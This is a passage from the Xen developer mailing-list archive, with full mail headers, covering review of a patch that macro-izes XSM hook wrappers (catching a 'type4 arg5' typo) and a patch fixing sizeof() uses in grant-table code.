>> @@ -206,113 +117,57 @@ static inline void xsm_security_domainin
>>       alternative_vcall(xsm_ops.security_domaininfo, d, info);
>>   }
>>   
>> -static inline int xsm_domain_create(
>> -    xsm_default_t def, struct domain *d, uint32_t ssidref)
>> -{
>> -    return alternative_call(xsm_ops.domain_create, d, ssidref);
>> -}
>> +#define XSM_ALT_void alternative_vcall
>> +#define XSM_ALT_int  return alternative_call
>>   
>> -static inline int xsm_getdomaininfo(xsm_default_t def, struct domain *d)
>> -{
>> -    return alternative_call(xsm_ops.getdomaininfo, d);
>> +#define XSM_HOOK0(rtype, name) \
>> +static inline rtype xsm_ ## name(xsm_default_t def) \
>> +{ \
>> +    XSM_ALT_ ## rtype(xsm_ops.name); \
>>   }
>>   
>> -static inline int xsm_get_domain_state(xsm_default_t def, struct domain *d)
>> -{
>> -    return alternative_call(xsm_ops.get_domain_state, d);
>> +#define XSM_HOOK1(rtype, name, type1) \
>> +static inline rtype xsm_ ## name(xsm_default_t def, type1 arg1) \
>> +{ \
>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1); \
>>   }
>>   
>> -static inline int xsm_set_target(
>> -    xsm_default_t def, struct domain *d, struct domain *e)
>> -{
>> -    return alternative_call(xsm_ops.set_target, d, e);
>> +#define XSM_HOOK2(rtype, name, type1, type2) \
>> +static inline rtype xsm_ ## name( \
>> +    xsm_default_t def, type1 arg1, type2 arg2) \
>> +{ \
>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2); \
>>   }
>>   
>> -static inline int xsm_domctl(xsm_default_t def, struct domain *d,
>> -                             struct xen_domctl *op)
>> -{
>> -    return alternative_call(xsm_ops.domctl, d, op);
>> +#define XSM_HOOK3(rtype, name, type1, type2, type3) \
>> +static inline rtype xsm_ ## name( \
>> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3) \
>> +{ \
>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3); \
>>   }
>>   
>> -#ifdef CONFIG_SYSCTL
>> -static inline int xsm_sysctl(xsm_default_t def, const struct xen_sysctl *op)
>> -{
>> -    return alternative_call(xsm_ops.sysctl, op);
>> +#define XSM_HOOK4(rtype, name, type1, type2, type3, type4) \
>> +static inline rtype xsm_ ## name( \
>> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
>> +{ \
>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3, arg4); \
>>   }
>> -#endif
>>   
>> -static inline int xsm_evtchn_unbound(
>> -    xsm_default_t def, struct domain *d1, struct evtchn *chn, domid_t id2)
>> -{
>> -    return alternative_call(xsm_ops.evtchn_unbound, d1, chn, id2);
>> +#define XSM_HOOK5(rtype, name, type1, type2, type3, type4, type5) \
>> +static inline rtype xsm_ ## name( \
>> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4, \
>> +    type4 arg5) \
> 
> Looks like you have copy/paste typo?

Indeed. And the last two parameters of .pci_config_permission() sadly aren't
distinct enough to make the flaw apparent at build time. (That looks to be
the only hook with 5 parameters.)

Thanks much for spotting.

> I would just note there is quite a bit of churn in this patch, most of 
> it is mechanical, but makes it easy for these to slip through.

Right. Fortunately this needs doing only once.

> After fixing this typo,
> 
> Acked-by: Daniel P. Smith <dpsmith@apertussolutions.com>

Thanks.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 15:25:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 15:25:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378020.1623679 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSdm-0003jl-F5; Thu, 30 Jul 2026 15:25:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378020.1623679; Thu, 30 Jul 2026 15:25:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSdm-0003je-Bf; Thu, 30 Jul 2026 15:25:46 +0000
Received: by outflank-mailman (input) for mailman id 1378020;
 Thu, 30 Jul 2026 15:25:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wpSdk-0003jX-PF
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:25:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpSdk-000R1g-5p
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 17:25:44 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b6cea-2eae-0a2a0a5409dd-0a2a4503bbbe-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:25:44 +0200
Received: from [52.101.52.49]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b6cf6-fae8-0a2a45030019-34653431cd2b-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:25:43 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by MW5PR03MB6907.namprd03.prod.outlook.com (2603:10b6:303:1c2::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 15:25:39 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Thu, 30 Jul 2026
 15:25:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=rI3QYooJmyt1CLYWTdcAqRg9f8qVev8DjfzaD/f1aOsAMU7bp+TZLnSV0/rbjLRmcySGLtMXARze2eGv5V2zbTf3M11gE/2hFr0pItVejt1/GSy+amgze18Hqzb/+v+bsACgmz1OzDo9IYBTO2mSe1sh+Cd9rfobSWhHcmhPPFRQGkgILOEyKplbG1+HfMliZhYP7uw5Zz5prPge/d/CT7VTI7WDRWkD8tlcuV0ugVeZc0+0r+h0eDCoiqPSHlScY0feSQosQ5c4L8J0ftMh+BhZn5YIupD3i1bY/r3G2LVHShmrTRQPkqaFuJFeJmobPCA8HTiwoNlK0lHJT6N07Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=hEbBBu7f0vlQuw/Tllw754+GezU9wzCG0Gh0oIjsTiM=;
 b=fzkA63QwEP+zv4QbwFBy02H8au9AE+gyEWiCkCKCDqBLq660UGt6UXzjC4g0Zjk1M95kb9Z+fVJNrWQ2S/Cebf4+sXiuGQwrxxLWR0r6VVlfugVf+sZyDeFWB7dPWzmrPdTWSTn0aUZ9AbDPMNMDrGISp1zUimF4+j7zhETXLVBTyQvivTpextnbrcq9Ns7XHoGFICZiCV69EfNJDm9bDKK+xUzPx6ojUHBzicQ8fukATfAZWwejMb601yPoqdsLp42Jh2nN24WTBeUlBG8ZZ+U4OYokWVD7kWtBwQRiCVyit6n4BzBWyny0Azo3qWjrHvHS6woTU+ieaFNqErKAnA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=hEbBBu7f0vlQuw/Tllw754+GezU9wzCG0Gh0oIjsTiM=;
 b=V+1Zb7qahhTPCAXtZy8pPd9vWO2lNpx0CB0AY2jF5bPKfaG0ZJB7E1P/4JhplZKjiJDo6l3QcpyxRaYjbcSJsHfpvAm9yCnTQym04FaJYMU9kOBM1kW76qYAojoRjLZwTpedLmfbLwzG07vHeQx2giPcXCUt489Q7ozUz1JmqRU=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <d360b101-0368-4f59-854b-2cb881e5d552@citrix.com>
Date: Thu, 30 Jul 2026 16:25:34 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Juergen Gross
 <jgross@suse.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Subject: Re: [PATCH] Xen/gnttab: adjust two uses of sizeof()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <0ddff6c4-7ec7-41a9-9417-687ca16aaafd@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxh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47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <0ddff6c4-7ec7-41a9-9417-687ca16aaafd@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0396.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:18f::23) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|MW5PR03MB6907:EE_
X-MS-Office365-Filtering-Correlation-Id: a5737431-8046-4f5b-f682-08deee4ecf09
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|10067099003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	C9uP1AjI+n5c2p5cnZciRsz6oxiloHpamZYqKr9sFw/rSYal7E3Ogi+07azywkbveb93xhIbZTzzlWRlR2n0DytmKa7r+ZNiM2kI+Vs7vkznt6ECyf/OBosrc23sT4horuchyDD6ywYGT8viCv5xYJ1PfAT4skfj7invWQWG9/EkXXM/56FgTVtavH+YeqiyGLevT0B21rEQ1/ZBRedt8jfkg08lRDFDxJTLczXf2ulIeIvkp/zoogtIh/R9jz3aUUtqHv4zwc0H88THWpBvSYz1KdVOUKhZLVYMi55AUnn8v4dK6om6h4lvJfI94GUlybt5K91UohpK1cIcMlfqACfHDboSBcEOPcHHVEXskv7lqWGMnWmm5MFj5AqJLGOWVaaP6eJrj9i7YxNUg63RotLhyuNP0OvUsIoLgCIwYSMX4lkVbJCgVvNkHBrFVywysb+lzYsrYK/g1XZZ/6iiqnU3HVDOjZnHUmxys6o1ce5vfW8/3eZtLLwtTkrDxj4oz1H6/UwPrl5J/yPX/WsU+buR6YmU8crN56axTpmRa8MLGbYGqGjI3X/qVnVuZcyDxqlFpl0dwLNhEYMcDDHXkt/dEBYR9mMX+ohvCPZNCbUKuk7WskWE1e31Kaa1g6X8Rv39c944qmdc6/RsLDseV8N7797seaHExsQQqR2ZDB0=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(10067099003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?UVRkN3h6WWlWbDdoNndPQWxNRXNwMmVOMS9TOXFKSTNPTWc1cURtN3JJQUl5?=
 =?utf-8?B?ZzJDa095Y1RCZDEvbGtVRjM0dTdUV1BQVTZFRndCb0R5YnBqZ1J4a1gyOWhL?=
 =?utf-8?B?NGpoT1VpN3ZWVzlWWEU3ODNEMlkwSVpJMEhKdnJUTURLWjBVc2NGLzBaQ1dS?=
 =?utf-8?B?OWhya21GWFhpQTF6VGdTOG5pRGZUT1FpYTMzTXdqRDBpdDNVNVBQaXJoWlpX?=
 =?utf-8?B?Qy80c2xpT1JneVR6VWVJekUrMzJTYXVRRXg4aFprUXg0Wm43c3k2SS82Q0sv?=
 =?utf-8?B?SVE5eldIM2Y4YktZRFpWWHdGTS92UmZMblhZQnJXNHVKQWlnazY2UVZ0ajIy?=
 =?utf-8?B?NFErRnRNZC9RbnY2SkdHQ0dzWVpGSGpHb0tDK1hPZlF0Y2FqdEFGTllRTDRJ?=
 =?utf-8?B?VUE2MHh0cndJYkZYWDNuVFN1VzBUbTQwQUVrdUprZ21oNEFCU0oxZjdXbitB?=
 =?utf-8?B?SjlqZHB3aHBreFN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lEyaEo1cUZMTWNqSzNUTjVoTlNTTzlzUHZZN2M0bm83ZnJOYVZJV3JaM1lw?=
 =?utf-8?B?V0QrNkFsU1Bzem5LSzc4UUc3TzRBMEZ1bGdVU29sVWRCNjZ4Tzc2S25xNTFX?=
 =?utf-8?Q?kMdZzQYHV+fiTBoo=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: a5737431-8046-4f5b-f682-08deee4ecf09
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 15:25:38.3270
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 0X6qB2DlpwvYQDJgO3AFlLozZ26Rq15xXfMU8bkstYjhPmBZBgPWMoM/MPlBeojw7hNl/cY3RXO5Yu4UwuzckdFmy0w7+Pe9Dp9ofZpT48s=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW5PR03MB6907
X-purgate-ID: tlsNG-33051d/1785425144-6EACC4E9-FB84DC43/0/0
X-purgate-type: clean
X-purgate-size: 462

On 30/07/2026 3:57 pm, Jan Beulich wrote:
> The use in gnttab_map() is latently buggy, as "frames" there is
> xen_pfn_t *, not unsigned long *.

ARM32 has 64bit xen_pfn_t's.Â  At least it's wrong in the safe direction.

>  Adjust the correct use in
> gnttab_map_frames_v2() as well, just to avoid the problematic pattern of
> sizeof(<type>).
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 15:31:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 15:31:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378034.1623687 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSjd-0005kP-1D; Thu, 30 Jul 2026 15:31:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378034.1623687; Thu, 30 Jul 2026 15:31:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSjc-0005kI-Ud; Thu, 30 Jul 2026 15:31:48 +0000
Received: by outflank-mailman (input) for mailman id 1378034;
 Thu, 30 Jul 2026 15:31:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpSjb-0005jw-60
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:31:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpSja-000REa-IV
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 17:31:46 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b6e62-5cb7-0a2a0a5109dd-0a2a4505d35c-2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:31:46 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b6e62-4cb1-0a2a45050019-d155802ed0ee-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:31:46 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-495757ccbc1so20505225e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:31:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49801216694sm63565325e9.13.2026.07.30.08.31.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 08:31:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785425506; x=1786030306; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=viBYRoSDI7ee1BZStIOQBNdO7Jplt9GiO1VVw1iopGU=;
        b=ArBG4mu4CGb0uvW6NAG/CJMQOaSL9e17nFLIp3HeU4D+/obbK20iiCEfCkPk30fJSy
         cXrISxHmw6anvMXC7vycxo/sZV2joRlMjRdIFob1JwXKUJQy74Izsm1rfCchN4DVVPUv
         GYXPL9vCt5D2cwjj/899lq1yDY8f5QLQJaOIkLwupSVMTwdzxWHsOM8vd1YyRf6RlYD8
         +wOhHhGPyKfsnjAj3uv1X3UFpcY0130ULnWt1zZ5P9AnfUrMhsYnE7KsQoV4dWenEGMd
         xoAe4c+2O55TQm+Xp5GN6H2bw5le8DTfP04xwARunnbFCGzzMloNYRAIp3REMZkOAYmE
         r8fw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785425506; x=1786030306;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=viBYRoSDI7ee1BZStIOQBNdO7Jplt9GiO1VVw1iopGU=;
        b=BSFUGV0nUGFEkpDBwR+R9uEwupGk4TPOFUC8dIWDzLp3lVzv2HK4tIYejitEgnYf1v
         ZuqcecnwnRIOlT/3RAp+vcwyLZx47/0uTPxup/TYXg2YI9B+WeETqBdosVvk0zUinsgC
         zej1dZhRwaBFLMKRKKiuVb/l8ZVsfeefmu6vBoDCkL5aViiwWt8UhEbvarihb8EPlr8Y
         6w5PDW0R/VIfHzsr06TFZJiv6Um6cDmhmsjEIzp8QgUHDjWtc4IxCkkB+8PlQPuH5ZOo
         a7It5lXSsSN+3VSR/3wbD3z0aGhJ+IIQcMY8At22gny9UVeoa7GKoIvUiS9Sl0N4tZp3
         T5BA==
X-Forwarded-Encrypted: i=1; AHgh+RqImLnBbQ56X4vufp7sAIEwpkfNVo6FTAbQxYemzwIy3gfmxd5kTQQN8SM6Jly1mg0C6lSDvyOxObc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxHP1ICkhFOdaqhGCaYnUb+aKZJQgxzXfWsBbO98VuZKoMMPT6u
	PmUenMGZT+IMsBXYy6WmJF7kRWY7Pv+IiBCx1mQdpI68PSwBiymTv9OpLjtSeRknfQ==
X-Gm-Gg: AR+sD11KJcQJ3fKcr8E0UtWesZI8TSIUqDUY7CDlgd5Lv33vpD27iJOUNbXgv5GqO04
	wd27btTdDBwDK2O5Tm4GaAIEM+b2GQVEV2+KVmfiZCqW+c361jathyRJUR9bmnLSAp59TFMzZ0r
	XcBTb82YGzibLLjDI8mAkE9puLyg//hcVvcbTsxgTexdw4WhV2eCvaqBxvpD9+0UOxAV29julOM
	xr17qcxH6W/Yeq8n27EfK5ijOvth1hEHlI35T172xZp3hG39VMPk8BMG3cZgawv/DnHrE75uAlQ
	NQG5Mt9TbFgLTt2E4RPjlbf6jICr0ACtW6ovmPLT2htYwKTZJU6MN2O8TZ11bPyARTYD6B/L7Dr
	DiuLsCownNU4zt+JXmJRBTqt2TOKYJcL+fF/ypf1w3vtKNI/IVF9ZPJhi/2tx+RJ9y48HnH5W48
	afeJjOjBFlp9NMcRWxic/uqCVuqeBufPG5V0NEykoDnKNS+dbYXEgOd7CP7ZT7U9nGxChgWIMjR
	uJprJQVwWxnImJ7BI6k7kq53QQV/9iYN05OYeVobAmItjFIxpVQobntm262Eic=
X-Received: by 2002:a05:600c:4f81:b0:493:f262:b8 with SMTP id 5b1f17b1804b1-49800e6d286mr40910955e9.1.1785425505917;
        Thu, 30 Jul 2026 08:31:45 -0700 (PDT)
Message-ID: <f46bf144-b602-48d2-a170-58944d17fdbd@suse.com>
Date: Thu, 30 Jul 2026 17:31:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] Xen/gnttab: adjust two uses of sizeof()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <0ddff6c4-7ec7-41a9-9417-687ca16aaafd@suse.com>
 <d360b101-0368-4f59-854b-2cb881e5d552@citrix.com>
Content-Language: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coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <d360b101-0368-4f59-854b-2cb881e5d552@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1785425506-72EB12A1-15F083AC/0/0
X-purgate-type: clean
X-purgate-size: 703

On 30.07.2026 17:25, Andrew Cooper wrote:
> On 30/07/2026 3:57 pm, Jan Beulich wrote:
>> The use in gnttab_map() is latently buggy, as "frames" there is
>> xen_pfn_t *, not unsigned long *.
> 
> ARM32 has 64bit xen_pfn_t's.Â  At least it's wrong in the safe direction.

No, that alone would make it unsafe - we'd have allocated only half the
size. What keeps the problem being latent is that the problem is on the
PV-only path.

>>  Adjust the correct use in
>> gnttab_map_frames_v2() as well, just to avoid the problematic pattern of
>> sizeof(<type>).
>>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> 
> Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>

Thanks.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 15:47:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 15:47:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378070.1623697 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSyD-0007yp-7Z; Thu, 30 Jul 2026 15:46:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378070.1623697; Thu, 30 Jul 2026 15:46:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSyD-0007yi-4k; Thu, 30 Jul 2026 15:46:53 +0000
Received: by outflank-mailman (input) for mailman id 1378070;
 Thu, 30 Jul 2026 15:46:52 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpSyB-0007yc-Tu
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:46:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpSyB-003wsK-AL
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 17:46:51 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b71ce-e002-0a2a0a5209dd-0a2a4509c62a-46
